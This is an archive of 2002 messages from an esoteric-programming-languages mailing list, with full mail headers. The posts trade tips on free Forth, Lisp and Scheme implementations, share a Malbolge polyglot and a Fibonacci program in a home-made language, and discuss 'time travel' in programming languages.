Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: dmoss@tdsi.co.uk
Precedence: bulk
X-list: misc

There are gnu implementations of prolog and lisp, a basic compiler for KDE
(KBasic, I think), and many other. do a google search.

David.

-----Original Message-----
From: lang-bounce@esoteric.sange.fi
[mailto:lang-bounce@esoteric.sange.fi]On Behalf Of Ryan Michel
Sent: 19 June 2002 12:48
To: lang@esoteric.sange.fi
Subject: [lang] Re: [forth] [lisp] Voodoo


I am intrigued by functional languages (only done c++, basic, bf, a couple
of my own), does anyone know a good overview/free implementation of forth,
lisp, scheme?

From what I have gleened and a few web sites I have begun my own functional
language (no name yet) with single character instructions and function
calls.  Kind of like the bf of functional languages.

ryan






From esoteric@oiva.sange.fi Wed Jun 19 15:27:25 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KeX8-000B0K-00; Wed, 19 Jun 2002 15:25:58 +0300
Received: with LISTAR (v0.129a; list misc); Wed, 19 Jun 2002 15:25:50 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KeWh-000B0B-00; Wed, 19 Jun 2002 15:25:31 +0300
Received: with LISTAR (v0.129a; list lang); Wed, 19 Jun 2002 15:25:23 +0300 (EEST)
Received: from web14003.mail.yahoo.com ([216.136.175.94])
	by oiva.sange.fi with smtp (Exim 3.33 #1)
	id 17KeWX-000B05-00
	for lang@esoteric.sange.fi; Wed, 19 Jun 2002 15:25:22 +0300
Message-ID: <20020619122517.31804.qmail@web14003.mail.yahoo.com>
Received: from [194.100.133.65] by web14003.mail.yahoo.com via HTTP; Wed, 19 Jun 2002 13:25:17 BST
Date: Wed, 19 Jun 2002 13:25:17 +0100 (BST)
From: =?iso-8859-1?q?Stephen=20Sykes?= <s_d_sykes@yahoo.co.uk>
Subject: [lang] Re: [forth] [lisp] Voodoo
To: lang@esoteric.sange.fi
In-Reply-To: <LFEDLOFBCDOICJLLHNHBIELKCBAA.ryan@michel.com.au>
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: s_d_sykes@yahoo.co.uk
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: s_d_sykes@yahoo.co.uk
Precedence: bulk
X-list: misc

> does anyone know a good overview/free implementation of
> forth, lisp, scheme?

Try here for a good overview of functional languages:

ftp://ftp.aw.com/cseng/authors/finkel/apld/finkel04.pdf

This should be a link to Chapter 4 of Finkel's book.  If you can't get
through to the Addison Wesley ftp server (as I couldn't just now) I can
send you it - it's 186k.

Stephen.
+- S.D.Sykes - www.stephensykes.com - +358 50 577 3879 -
| "Sinulla on kauniit silmät" -- handy Finnish phrase #3



__________________________________________________
Do You Yahoo!?
Everything you'll ever need on one web page
from News and Sport to Email and Music Charts
http://uk.my.yahoo.com





From esoteric@oiva.sange.fi Wed Jun 19 15:36:48 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KegJ-000B6T-00; Wed, 19 Jun 2002 15:35:27 +0300
Received: with LISTAR (v0.129a; list misc); Wed, 19 Jun 2002 15:35:20 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Kefs-000B6G-00; Wed, 19 Jun 2002 15:35:01 +0300
Received: with LISTAR (v0.129a; list lang); Wed, 19 Jun 2002 15:34:53 +0300 (EEST)
Received: from mail.engelsinfo.de ([212.6.209.241])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Kefk-000B61-00
	for lang@esoteric.sange.fi; Wed, 19 Jun 2002 15:34:52 +0300
Received: from morgoth (morgoth [212.6.209.231])
	by mail.engelsinfo.de (8.9.3+Sun/8.9.1) with ESMTP id OAA21891
	for <lang@esoteric.sange.fi>; Wed, 19 Jun 2002 14:37:49 +0200 (MET DST)
Content-Type: text/plain;
  charset="windows-1252"
From: "Rafal M. Sulejman" <rafal@engelsinfo.de>
Organization: none
To: lang@esoteric.sange.fi
Subject: [lang] Re: [forth] [lisp] Voodoo
Date: Wed, 19 Jun 2002 14:34:40 +0200
X-Mailer: KMail [version 1.4]
References: <LFEDLOFBCDOICJLLHNHBIELKCBAA.ryan@michel.com.au>
In-Reply-To: <LFEDLOFBCDOICJLLHNHBIELKCBAA.ryan@michel.com.au>
X-Default-Editor: vim
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Message-Id: <200206191434.40303.rafal@engelsinfo.de>
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: rafal@engelsinfo.de
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: rafal@engelsinfo.de
Precedence: bulk
X-list: misc

* Ryan Michel [Wednesday 19 June 2002 13:48] :
> I am intrigued by functional languages (only done c++, basic, bf, a
> couple of my own), does anyone know a good overview/free
> implementation of 
> forth 
http://www.forth.org -- many useful links....

In the old DOS days I was used to program in Fifth -- very 
user-friendly environment with quite decent editor (no 'screen' 
stuff) -- should be available on simtel...

> scheme
http://www.schemers.org (DrScheme)

HTH,
-- 
 # . . . | Rafal M. Sulejman                        /"\
 . . # . | <rms at poczta.onet.pl>                  \ /
 # . . . | ASCII Ribbon Campaign against HTML mail   X
 . . . . |                                          / \






From esoteric@oiva.sange.fi Wed Jun 19 23:23:51 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Klwv-0002jK-00; Wed, 19 Jun 2002 23:21:05 +0300
Received: with LISTAR (v0.129a; list misc); Wed, 19 Jun 2002 23:20:58 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KltP-0002iv-00; Wed, 19 Jun 2002 23:17:27 +0300
Received: with LISTAR (v0.129a; list lang); Wed, 19 Jun 2002 23:17:19 +0300 (EEST)
Received: from [212.16.6.108] (helo=frox25.dhs.org)
	by oiva.sange.fi with smtp (Exim 3.33 #1)
	id 17KltG-0002ip-00
	for lang@esoteric.sange.fi; Wed, 19 Jun 2002 23:17:18 +0300
Received: (qmail 13315 invoked from network); 19 Jun 2002 19:34:21 -0000
Received: from heartw.ih (10.0.17.4)
  by nova.ih with SMTP; 19 Jun 2002 19:34:21 -0000
Date: Thu, 20 Jun 2002 00:02:44 +0400
From: Mtv Europe <mtve@frox25.dhs.org>
X-Mailer: The Bat! (v1.49) Personal
X-Priority: 3 (Normal)
Message-ID: <16605535485.20020620000244@frox25.dhs.org>
To: lang@esoteric.sange.fi
Subject: [lang] Re: Malbolge
In-reply-To: <3D0FA74C.F45BCBF3@dds.nl>
References: <20020618063351.93577.qmail@web14007.mail.yahoo.com>
 <39513628913.20020618223111@frox25.dhs.org> <3D0FA74C.F45BCBF3@dds.nl>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: mtve@frox25.dhs.org
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: mtve@frox25.dhs.org
Precedence: bulk
X-list: misc

Hello All!

Hmm, i found nice multilingual (mainly Malbolge, but
also valid Perl, Brainf*ck, ETA and some others):

'&%$#"!76543210/43,P0).'&%I6

(may coredump some Malbolge interpreters)

----
Mtv Europe







From esoteric@oiva.sange.fi Fri Jun 21 00:07:14 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17L97b-000NZG-00; Fri, 21 Jun 2002 00:05:39 +0300
Received: with LISTAR (v0.129a; list misc); Fri, 21 Jun 2002 00:05:32 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17L96s-000NZ1-00; Fri, 21 Jun 2002 00:04:54 +0300
Received: with LISTAR (v0.129a; list lang); Fri, 21 Jun 2002 00:04:46 +0300 (EEST)
Received: from pandora.tiscali.nl ([195.241.76.179])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17L96j-000NYv-00
	for lang@esoteric.sange.fi; Fri, 21 Jun 2002 00:04:45 +0300
Received: from dds.nl (xs241-213-45.dial.tiscali.nl [195.241.213.45])
	by pandora.tiscali.nl (Postfix) with ESMTP id 85D083C325
	for <lang@esoteric.sange.fi>; Thu, 20 Jun 2002 23:04:29 +0200 (MET DST)
Sender: root@pandora.tiscali.nl
Message-ID: <3D124ED5.93991D9A@dds.nl>
Date: Thu, 20 Jun 2002 23:53:25 +0200
From: Milo van Handel <mwq@dds.nl>
Organization: Milo-Soft
X-Mailer: Mozilla 4.08 [en] (X11; I; Linux 2.2.3-5 i586)
MIME-Version: 1.0
To: lang@esoteric.sange.fi
Subject: [lang] Re: Malbolge
References: <20020618063351.93577.qmail@web14007.mail.yahoo.com>
	 <39513628913.20020618223111@frox25.dhs.org> <3D0FA74C.F45BCBF3@dds.nl> <16605535485.20020620000244@frox25.dhs.org>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
X-list: misc

Mtv Europe wrote:

> Hello All!
>
> Hmm, i found nice multilingual (mainly Malbolge, but
> also valid Perl, Brainf*ck, ETA and some others):
>
> '&%$#"!76543210/43,P0).'&%I6

Nice.  But I've got a shorter one:

(the rest of this email is intentionally left blank)






From esoteric@oiva.sange.fi Fri Jun 21 12:10:14 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17LKPH-000PJG-00; Fri, 21 Jun 2002 12:08:39 +0300
Received: with LISTAR (v0.129a; list misc); Fri, 21 Jun 2002 12:08:31 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17LKOg-000PJ9-00; Fri, 21 Jun 2002 12:08:02 +0300
Received: with LISTAR (v0.129a; list lang); Fri, 21 Jun 2002 12:07:54 +0300 (EEST)
Received: from smtp-send.myrealbox.com ([192.108.102.143])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17LKOX-000PJ3-00
	for lang@esoteric.sange.fi; Fri, 21 Jun 2002 12:07:53 +0300
Received: from myrealbox.com amirlb@smtp-send.myrealbox.com [62.219.226.45]
	by smtp-send.myrealbox.com with NetMail SMTP Agent $Revision:   3.9  $ on Novell NetWare;
	Fri, 21 Jun 2002 03:07:50 -0600
Message-ID: <3D12ED6C.1050200@myrealbox.com>
Date: Fri, 21 Jun 2002 12:10:04 +0300
From: Amir Livne Bar-On <amirlb@myrealbox.com>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020412 Debian/0.9.9-6
MIME-Version: 1.0
To:  lang@esoteric.sange.fi
Subject: [lang] Re: [voodoo] was something about FOREIGN PARTNERS :-)
References: <E17HRf4-000IT8-00@oiva.sange.fi> <200206172352.41571.cbiffle@safety.net> <3D0FAAC2.86E70664@dds.nl> <200206190347.43835.cbiffle@safety.net>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: amirlb@myrealbox.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: amirlb@myrealbox.com
Precedence: bulk
X-list: misc

> I'm thinking about doing some sort of a short-lifetime stack, where rather 
> than keeping persistent data on the stack, the stack is scope-sensitive and 
> cannot be used to pass data between functions.  (A separate persistent 
> argument stack might be available for top-level passing, not sure.)
> I'll post when I have a more concrete idea of what I'm thinking of. :-)

I've done that on my Emmies language, but with queues instead of stacks. 
I don't know if I should post it here, though... the winner wasn't 
declared yet.
-- 
Bad spellers of the world UNTIE!
           Amir Livne (lightstep)






From esoteric@oiva.sange.fi Fri Jun 21 12:20:36 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17LKZW-000POz-00; Fri, 21 Jun 2002 12:19:14 +0300
Received: with LISTAR (v0.129a; list misc); Fri, 21 Jun 2002 12:19:07 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17LKZK-000POs-00; Fri, 21 Jun 2002 12:19:02 +0300
Received: with LISTAR (v0.129a; list lang); Fri, 21 Jun 2002 12:18:54 +0300 (EEST)
Received: from smtp-send.myrealbox.com ([192.108.102.143])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17LKZB-000POm-00
	for lang@esoteric.sange.fi; Fri, 21 Jun 2002 12:18:54 +0300
Received: from myrealbox.com amirlb@smtp-send.myrealbox.com [62.219.226.45]
	by smtp-send.myrealbox.com with NetMail SMTP Agent $Revision:   3.9  $ on Novell NetWare;
	Fri, 21 Jun 2002 03:18:51 -0600
Message-ID: <3D12F003.4070206@myrealbox.com>
Date: Fri, 21 Jun 2002 12:21:07 +0300
From: Amir Livne Bar-On <amirlb@myrealbox.com>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020412 Debian/0.9.9-6
MIME-Version: 1.0
To:  lang@esoteric.sange.fi
Subject: [lang] Re: [voodoo] was something about FOREIGN PARTNERS :-)
References: <E17HRf4-000IT8-00@oiva.sange.fi> <200206172352.41571.cbiffle@safety.net> <3D0FAAC2.86E70664@dds.nl> <200206190347.43835.cbiffle@safety.net> <3D12ED6C.1050200@myrealbox.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: amirlb@myrealbox.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: amirlb@myrealbox.com
Precedence: bulk
X-list: misc

> Emmies

Essies, of course

-- 
Bad spellers of the world UNTIE!
           Amir Livne (lightstep)






From esoteric@oiva.sange.fi Fri Jun 21 12:36:21 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17LKol-000PTy-00; Fri, 21 Jun 2002 12:34:59 +0300
Received: with LISTAR (v0.129a; list misc); Fri, 21 Jun 2002 12:34:52 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17LKoZ-000PTs-00; Fri, 21 Jun 2002 12:34:47 +0300
Received: with LISTAR (v0.129a; list lang); Fri, 21 Jun 2002 12:34:40 +0300 (EEST)
Received: from porsta.cs.helsinki.fi ([128.214.48.124])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17LKoR-000PTm-00
	for lang@esoteric.sange.fi; Fri, 21 Jun 2002 12:34:39 +0300
Received: from melkinpaasi.cs.Helsinki.FI (sslwrap@localhost [127.0.0.1])
	by porsta.cs.Helsinki.FI (8.11.6/8.11.6) with ESMTP id g5L9Ycj16058
	for <lang@esoteric.sange.fi>; Fri, 21 Jun 2002 12:34:39 +0300
Received: from localhost (pkalliok@localhost)
	by melkinpaasi.cs.Helsinki.FI (8.11.6/8.11.2) with ESMTP id g5L9YZ925220
	for <lang@esoteric.sange.fi>; Fri, 21 Jun 2002 12:34:35 +0300
X-Authentication-Warning: melkinpaasi.cs.Helsinki.FI: pkalliok owned process doing -bs
Date: Fri, 21 Jun 2002 12:34:35 +0300 (EEST)
From: Panu A Kalliokoski <pkalliok@cs.Helsinki.FI>
To: lang@esoteric.sange.fi
Subject: [lang] Re: [time travel] (was: Re: Malbolge)
In-Reply-To: <3D0FA74C.F45BCBF3@dds.nl>
Message-ID: <Pine.LNX.4.44.0206211230070.12382-100000@melkinpaasi.cs.Helsinki.FI>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: pkalliok@cs.Helsinki.FI
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: pkalliok@cs.Helsinki.FI
Precedence: bulk
X-list: misc

On Tue, 18 Jun 2002, Milo van Handel wrote:
> Would it produce anything meaningful if a programming language had some
> sort of time travel (simulated, of course, by recalculating the past

By the way, Ocaml's replay debugger does allow for jumping back and forth
in execution. In Haskell, it should be quite simple to construct a monad
in which the computational state is saved every 500 or so steps for later
retrieval.

> each time(!) that time travel is invoked), where functions could be
> executed before their input is known?

The latter one is partially possible in lazily-evaluated languages. You 
can in theory do

let (result, some_stuff) = do_something_with some_stuff other_arguments

Thus feeding to a function part of its result as an argument. This works
as long as the function does not need the result to computate the result.

Other than that, you will need a backtracking language where you pass the 
state around as an extra parameter. This, of course, can be built into a 
monad...

-- 

Am fuar -> symb <- am fesh
atehwa@iki.fi







From esoteric@oiva.sange.fi Fri Jun 21 12:39:34 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17LKrs-000PVS-00; Fri, 21 Jun 2002 12:38:12 +0300
Received: with LISTAR (v0.129a; list misc); Fri, 21 Jun 2002 12:38:05 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17LKrj-000PVM-00; Fri, 21 Jun 2002 12:38:03 +0300
Received: with LISTAR (v0.129a; list lang); Fri, 21 Jun 2002 12:37:55 +0300 (EEST)
Received: from porsta.cs.helsinki.fi ([128.214.48.124])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17LKra-000PVG-00
	for lang@esoteric.sange.fi; Fri, 21 Jun 2002 12:37:54 +0300
Received: from melkinpaasi.cs.Helsinki.FI (sslwrap@localhost [127.0.0.1])
	by porsta.cs.Helsinki.FI (8.11.6/8.11.6) with ESMTP id g5L9brj16326
	for <lang@esoteric.sange.fi>; Fri, 21 Jun 2002 12:37:53 +0300
Received: from localhost (pkalliok@localhost)
	by melkinpaasi.cs.Helsinki.FI (8.11.6/8.11.2) with ESMTP id g5L9bow25474
	for <lang@esoteric.sange.fi>; Fri, 21 Jun 2002 12:37:50 +0300
X-Authentication-Warning: melkinpaasi.cs.Helsinki.FI: pkalliok owned process doing -bs
Date: Fri, 21 Jun 2002 12:37:50 +0300 (EEST)
From: Panu A Kalliokoski <pkalliok@cs.Helsinki.FI>
To: lang@esoteric.sange.fi
Subject: [lang] Re: [forth] [lisp] Voodoo
In-Reply-To: <LFEDLOFBCDOICJLLHNHBIELKCBAA.ryan@michel.com.au>
Message-ID: <Pine.LNX.4.44.0206211236500.12382-100000@melkinpaasi.cs.Helsinki.FI>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: pkalliok@cs.Helsinki.FI
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: pkalliok@cs.Helsinki.FI
Precedence: bulk
X-list: misc

On Wed, 19 Jun 2002, Ryan Michel wrote:
> I am intrigued by functional languages (only done c++, basic, bf, a couple
> of my own), does anyone know a good overview/free implementation of forth,
> lisp, scheme?

gforth, guile (or rep), scm (or elk).

Panu






From esoteric@oiva.sange.fi Fri Jun 21 13:36:48 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17LLlB-000PgU-00; Fri, 21 Jun 2002 13:35:22 +0300
Received: with LISTAR (v0.129a; list misc); Fri, 21 Jun 2002 13:35:14 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17LLku-000PgL-00; Fri, 21 Jun 2002 13:35:04 +0300
Received: with LISTAR (v0.129a; list lang); Fri, 21 Jun 2002 13:34:56 +0300 (EEST)
Received: from mrwaynxd-new.lnk.telstra.net ([139.130.76.194] helo=gateway.michel.com.au)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17LLkk-000PgE-00
	for lang@esoteric.sange.fi; Fri, 21 Jun 2002 13:34:55 +0300
Received: from ork (ork.michel.com.au [203.18.139.105])
	by gateway.michel.com.au (8.11.0/8.11.0) with SMTP id g5LAW1W09571
	for <lang@esoteric.sange.fi>; Fri, 21 Jun 2002 20:32:01 +1000
From: "Ryan Michel" <ryan@michel.com.au>
To: <lang@esoteric.sange.fi>
Subject: [lang] Re: [forth] [lisp] Voodoo
Date: Fri, 21 Jun 2002 20:34:49 +1000
Message-ID: <LFEDLOFBCDOICJLLHNHBGEMFCBAA.ryan@michel.com.au>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <Pine.LNX.4.44.0206211236500.12382-100000@melkinpaasi.cs.Helsinki.FI>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Content-Transfer-Encoding: quoted-printable
X-MIME-Autoconverted: from 8bit to quoted-printable by gateway.michel.com.au id g5LAW1W09571
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: ryan@michel.com.au
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: ryan@michel.com.au
Precedence: bulk
X-list: misc

Thanks to all those who replied, it has steered me in the right direction
for my own lang (still no name) just for a taste here is the Fibonaccis
defined recursively:

:f3345*+=3Dc0?>!ab+=3Dr1c-=3Dcr#58+=3D@crbf!{:;abcr;01.f=94How Many Fibon=
accis ?=94@=3D=3D

It will accept user input and calculate that many fibonaccis seperated by
newline characters.  Implementation underway 5% complete.

ryan

-----Original Message-----
From: lang-bounce@esoteric.sange.fi
[mailto:lang-bounce@esoteric.sange.fi]On Behalf Of Panu A Kalliokoski
Sent: Friday, 21 June 2002 7:38 PM
To: lang@esoteric.sange.fi
Subject: [lang] Re: [forth] [lisp] Voodoo


On Wed, 19 Jun 2002, Ryan Michel wrote:
> I am intrigued by functional languages (only done c++, basic, bf, a cou=
ple
> of my own), does anyone know a good overview/free implementation of for=
th,
> lisp, scheme?

gforth, guile (or rep), scm (or elk).

Panu


---
Incoming mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.365 / Virus Database: 202 - Release Date: 24/05/2002

---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.365 / Virus Database: 202 - Release Date: 24/05/2002






From esoteric@oiva.sange.fi Fri Jun 21 21:48:22 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17LTQS-0000pE-00; Fri, 21 Jun 2002 21:46:28 +0300
Received: with LISTAR (v0.129a; list misc); Fri, 21 Jun 2002 21:46:21 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17LTPa-0000p7-00; Fri, 21 Jun 2002 21:45:34 +0300
Received: with LISTAR (v0.129a; list lang); Fri, 21 Jun 2002 21:45:27 +0300 (EEST)
Received: from ns3.safety.net ([216.40.201.32])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17LTPR-0000p1-00
	for lang@esoteric.sange.fi; Fri, 21 Jun 2002 21:45:26 +0300
Received: from cliff (rs.rackshack.net.safety.net [216.40.201.32])
	by ns3.safety.net (8.10.2/8.10.2) with ESMTP id g5LIjN207987
	for <lang@esoteric.sange.fi>; Fri, 21 Jun 2002 11:45:23 -0700
Content-Type: text/plain;
  charset="windows-1252"
From: "Cliff L. Biffle" <cbiffle@safety.net>
To: lang@esoteric.sange.fi
Subject: [lang] Re: [forth] [lisp] Voodoo
Date: Fri, 21 Jun 2002 11:46:23 -0700
X-Mailer: KMail [version 1.4]
References: <LFEDLOFBCDOICJLLHNHBGEMFCBAA.ryan@michel.com.au>
In-Reply-To: <LFEDLOFBCDOICJLLHNHBGEMFCBAA.ryan@michel.com.au>
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Message-Id: <200206211146.23705.cbiffle@safety.net>
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: cbiffle@safety.net
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: cbiffle@safety.net
Precedence: bulk
X-list: misc

On Friday 21 June 2002 03:34 am, you wrote:
> :f3345*+=3Dc0?>!ab+=3Dr1c-=3Dcr#58+=3D@crbf!{:;abcr;01.f=94How Many Fib=
onaccis ?=94@=3D=3D

I'm sorry, can you send again?  There seems to have been some line noise =
in=20
your transmission.  *grin*

Looking forward to the spec!

-Cliff L. Biffle





From esoteric@oiva.sange.fi Mon Jun 24 00:23:03 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17MEoB-0008Pf-00; Mon, 24 Jun 2002 00:22:07 +0300
Received: with LISTAR (v0.129a; list misc); Mon, 24 Jun 2002 00:21:59 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17MElz-0008PP-00; Mon, 24 Jun 2002 00:19:51 +0300
Received: with LISTAR (v0.129a; list lang); Mon, 24 Jun 2002 00:19:43 +0300 (EEST)
Received: from pandora.tiscali.nl ([195.241.76.179])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17MElq-0008PJ-00
	for lang@esoteric.sange.fi; Mon, 24 Jun 2002 00:19:42 +0300
Received: from dds.nl (xs241-248-25.dial.tiscali.nl [195.241.248.25])
	by pandora.tiscali.nl (Postfix) with ESMTP id C2ABA37E1A
	for <lang@esoteric.sange.fi>; Sun, 23 Jun 2002 23:19:35 +0200 (MET DST)
Sender: root@pandora.tiscali.nl
Message-ID: <3D15E127.3CFE0BA@dds.nl>
Date: Sun, 23 Jun 2002 16:54:31 +0200
From: Milo van Handel <mwq@dds.nl>
Organization: Milo-Soft
X-Mailer: Mozilla 4.08 [en] (X11; I; Linux 2.2.3-5 i586)
MIME-Version: 1.0
To: lang@esoteric.sange.fi
Subject: [lang] Re: time travel, was Malbolge
References: <20020618230435.3124.qmail@web14005.mail.yahoo.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
X-list: misc

Stephen Sykes wrote:

> Input and output are interesting.  You need to have some scheme where I/O
> can be undone.  I solved it for simple text IO by asking the user to
> forget each bit of output, and have the interpreter tell you when it is
> forgetting input.

How about an ncurses implementation where forgotten input and output is
actually erased from the screen?

> Here is a very simple example program where I base new past values on the
> current value of that variable.  Also, the language in this example only
